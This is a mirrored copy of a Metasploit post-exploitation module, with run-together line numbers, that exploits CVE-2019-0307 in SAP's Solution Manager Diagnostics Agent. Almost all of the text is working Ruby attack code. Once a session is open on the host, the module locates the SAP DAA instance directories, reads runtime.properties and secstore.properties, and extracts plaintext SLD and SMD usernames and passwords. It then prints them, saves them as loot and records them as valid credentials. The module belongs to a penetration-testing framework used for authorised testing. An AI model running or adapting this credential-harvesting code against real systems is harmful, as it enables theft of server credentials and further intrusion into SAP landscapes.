Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/sap/smdagent_get_properties.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'resolv'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty1011SECSTORE_FILE = 'secstore.properties'.freeze12RUNTIME_FILE = 'runtime.properties'.freeze1314WIN_PREFIX = 'c:\\usr\\sap\\DAA\\'.freeze15UNIX_PREFIX = '/usr/sap/DAA/'.freeze1617WIN_SUFFIX = '\\SMDAgent\\configuration\\'.freeze18UNIX_SUFFIX = '/SMDAgent/configuration/'.freeze1920def initialize(info = {})21super(22update_info(23info,24'Name' => 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',25'Description' => %q{26This module retrieves the `secstore.properties` file on a SMDAgent. This file contains the credentials27used by the SMDAgent to connect to the SAP Solution Manager server.28},29'License' => MSF_LICENSE,30'Author' => [31'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability32'Vladimir Ivanov' # @_generic_human_ This Metasploit module33],34'Platform' => %w[bsd linux osx unix win],35'SessionTypes' => %w[meterpreter shell],36'References' => [37[ 'CVE', '2019-0307' ],38[ 'URL', 'https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf' ]39],40'Compat' => {41'Meterpreter' => {42'Commands' => %w[43stdapi_net_resolve_host44]45}46},47'Notes' => {48'Stability' => [CRASH_SAFE],49'SideEffects' => [IOC_IN_LOGS],50'Reliability' => []51}52)53)54end5556def run57case session.type58when 'meterpreter'59meterpreter = true60else61meterpreter = false62end63case session.platform64when 'windows'65windows = true66instances = dir(WIN_PREFIX)67else68windows = false69instances = dir(UNIX_PREFIX)70end7172if instances.nil? || instances.empty?73fail_with(Failure::NotFound, 'SAP root directory not found')74end7576instances.each do |instance|77next if instance == 'SYS'7879next if instance.include? ' '8081next if instance.include? '.'8283next if instance.include? 'tmp'8485if windows86runtime_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{RUNTIME_FILE}"87secstore_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{SECSTORE_FILE}"88else89runtime_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{RUNTIME_FILE}"90secstore_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{SECSTORE_FILE}"91end9293runtime_properties = parse_properties_file(runtime_properties_file_name, meterpreter)94secstore_properties = parse_properties_file(secstore_properties_file_name, meterpreter)9596next if runtime_properties.empty?9798print_line99print_status("Instance: #{instance}")100print_status("Runtime properties file name: #{runtime_properties_file_name}")101print_status("Secstore properties file name: #{secstore_properties_file_name}")102103sld_protocol = nil104sld_hostname = nil105sld_address = nil106sld_port = nil107sld_username = nil108sld_password = nil109110smd_url = nil111smd_username = nil112smd_password = nil113114# Parse runtime.properties file115runtime_properties.each do |property|116if property[:name].include?('sld.')117case property[:name]118when /hostprotocol/119sld_protocol = property[:value]120when /hostname/121sld_hostname = property[:value]122when /hostport/123sld_port = property[:value]124end125elsif property[:name].include?('smd.')126case property[:name]127when /url/128smd_url = property[:value].gsub(/\\:/, ':')129end130end131end132133# Parse secstore.properties file134secstore_properties.each do |property|135if property[:name].include?('sld/')136case property[:name]137when /usr/138sld_username = property[:value]139when /pwd/140sld_password = property[:value]141end142elsif property[:name].include?('smd/')143case property[:name]144when /User/145smd_username = property[:value]146when /Password/147smd_password = property[:value]148end149end150end151152# Print SLD properties153if !sld_protocol.nil? || !sld_hostname.nil? || !sld_port.nil? || !sld_username.nil? || !sld_password.nil?154print_line155print_status('SLD properties:')156print_status("SLD protocol: #{sld_protocol}") unless sld_protocol.nil?157unless sld_hostname.nil?158print_status("SLD hostname: #{sld_hostname}")159if meterpreter160if sld_hostname =~ Resolv::IPv4::Regex161sld_address = sld_hostname162else163begin164sld_address = session.net.resolve.resolve_host(sld_hostname)[:ip]165print_status("SLD address: #{sld_address}")166rescue Rex::Post::Meterpreter::RequestError167print_error("Failed to resolve SLD hostname: #{sld_hostname}")168end169end170end171end172print_status("SLD port: #{sld_port}") unless sld_port.nil?173print_good("SLD username: #{sld_username}") unless sld_username.nil?174print_good("SLD password: #{sld_password}") unless sld_password.nil?175end176177# Print SMD properties178if !smd_url.nil? || !smd_username.nil? || !smd_password.nil?179print_line180print_status('SMD properties:')181print_status("SMD url: #{smd_url}") unless smd_url.nil?182print_good("SMD username: #{smd_username}") unless smd_username.nil?183print_good("SMD password: #{smd_password}") unless smd_password.nil?184end185186# Store decoded credentials, report service and vuln187print_line188if sld_username.nil? || sld_password.nil?189print_error("File #{secstore_properties_file_name} read, but this file is likely encrypted or does not contain credentials. This SMDAgent is likely patched.")190else191# Store decoded credentials192print_good('Store decoded credentials for SolMan server')193if sld_address.nil? || sld_port.nil?194service_data = {}195else196service_data = {197origin_type: :service,198address: sld_address,199port: sld_port,200service_name: 'http',201protocol: 'tcp'202}203# Report service204report_service(205host: sld_address,206port: sld_port,207name: 'http',208proto: 'tcp',209info: 'SAP Solution Manager'210)211end212store_valid_credential(213user: sld_username,214private: sld_password,215private_type: :password,216service_data: service_data217)218# Report vulnerability219if meterpreter220agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)221else222agent_host = session.session_host223end224report_vuln(225host: agent_host,226name: name,227refs: references228)229end230end231end232233def parse_properties_file(filename, is_meterpreter)234properties = []235if file_exist?(filename)236properties_content = read_file(filename)237if properties_content.nil?238print_error("Failed to read properties file: #{filename}")239else240if is_meterpreter241agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)242else243agent_host = session.session_host244end245loot = store_loot('smdagent.properties', 'text/plain', agent_host, properties_content, filename, 'SMD Agent properties file')246print_good("File #{filename} saved in: #{loot}")247properties = parse_properties(properties_content)248end249else250print_error("File: #{filename} does not exist")251end252properties253end254255end256257258